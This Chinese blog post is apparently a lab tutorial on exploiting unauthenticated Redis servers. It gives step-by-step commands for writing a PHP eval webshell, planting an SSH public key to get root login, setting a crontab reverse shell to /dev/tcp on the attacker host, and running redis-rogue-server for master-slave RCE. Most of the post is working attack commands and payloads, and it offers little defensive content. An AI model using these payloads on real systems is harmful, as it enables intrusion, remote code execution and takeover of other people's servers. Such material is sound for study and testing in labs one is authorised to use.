redis攻防系列-未授权访问漏洞以及衍生利用

发布于 2022-06-28  878 次阅读


漏洞简介和危害

reids未授权访问的成因

(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

reids未授权访问的危害

(1)攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
(2)攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;
(3)最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

漏洞复现

攻击机:192.168.1.10
redis服务器:192.168.1.8

使用redis客户端直接无密码成功登录了redis:

漏洞的衍生利用

1.利用redis写webshell

攻击机:192.168.1.10
redis服务器:192.168.1.8:6379
web服务器:192.168.1.8:80

利用前提:
1.靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证
2.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限

这里由于本地搭建,我们已经知道目录,我们把shell写入/www/admin/html目录下:

config set dir /www/admin/html
config set dbfilename shell.php

set webshell "\r\n\r\n<?php eval(@$_POST['password']);?>\r\n\r\n"
save

\r\n\r\n代表换行的意思,用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

写完我们服务器上看看写完的效果

访问http://192.168.1.8/shell.php,发现webshell已经成功解析

直接用蚁剑尝试连接,成功写入shell


当数据库过大时,redis写shell的小技巧:

<?php
set_time_limit(0);
$fp=fopen('dest1ny.php','w');
fwrite($fp,'<?php @eval($_POST[\"dest1ny\"]);?>');
exit();
?>

访问文件后会在同目录生成一个dest1ny.php的shell

2.利用"公私钥"认证实现免密登陆服务器

当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。

在靶机中执行 mkdir /root/.ssh 命令,创建ssh公钥存放目录(假定靶机是作为ssh服务器使用的)
在攻击机中生成ssh公钥和私钥,密码设置为空:

ssh-keygen -t rsa

按三下回车

进入.ssh目录:cd .ssh/,将生成的公钥保存到1.txt:

(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > 1.txt

链接靶机上的redis服务,

将保存ssh的公钥1.txt写入redis:

cat 1.txt | redis-cli -h 192.168.1.8 -x set crack

接着远程登录靶机的redis服务:

redis-cli -h 192.168.1.8

查看redis备份的路径

config get dir

更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):

config set dir /root/.ssh

设置上传公钥的备份文件名字为authorized_keys:

config set dbfilename authorized_keys

接着就可以在攻击机上使用ssh免密登录靶机:

ssh -i id_rsa root@192.168.1.8

如果配置之后还需要输入密码,很大概率就是自己创建/root/.ssh目录的时候权限不对,需要改成700权限。正常情况下目标机器是会自己生成目录的,不会出现这个问题。

3.利用crontab反弹shell

在权限足够的情况下,可以利用redis写入文件到计划任务目录下执行。

攻击机:192.168.1.10
redis服务器:192.168.1.12:6379

端口监听:
在攻击者服务器上监听一个端口(未被占用的任意端口):
nc -lvnp 4444

连接redis,写入反弹shell

redis-cli -h 192.168.1.12
set xxx "\n\n/1 * /bin/bash -i>&/dev/tcp/192.168.1.10/4444 0>&1\n\n"

接着更改备份路径

config set dir /var/spool/cron
config set dbfilename root
save

过一两分钟就可以收到shell

4.redis主从复制rce

  Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

  在Redis 4.x之后,Redis新增了模块功能,通过外部拓展,可以在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。编写恶意so文件的代码 https://github.com/RicterZ/RedisModules-ExecuteCommand

  在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so文件,我们就可以执行拓展的新命令了。

攻击机:192.168.1.10
redis服务器:192.168.1.11:6379

利用前提:
已经获取redis权限,慎用,容易吧redis服务器搞出莫名其妙的问题

接着在攻击机上使用脚本
https://github.com/n0b0dyCN/redis-rogue-server

python3 redis-rogue-server.py --rhost 192.168.1.11 --lhost 192.168.1.10

届ける言葉を今は育ててる
最后更新于 2022-06-28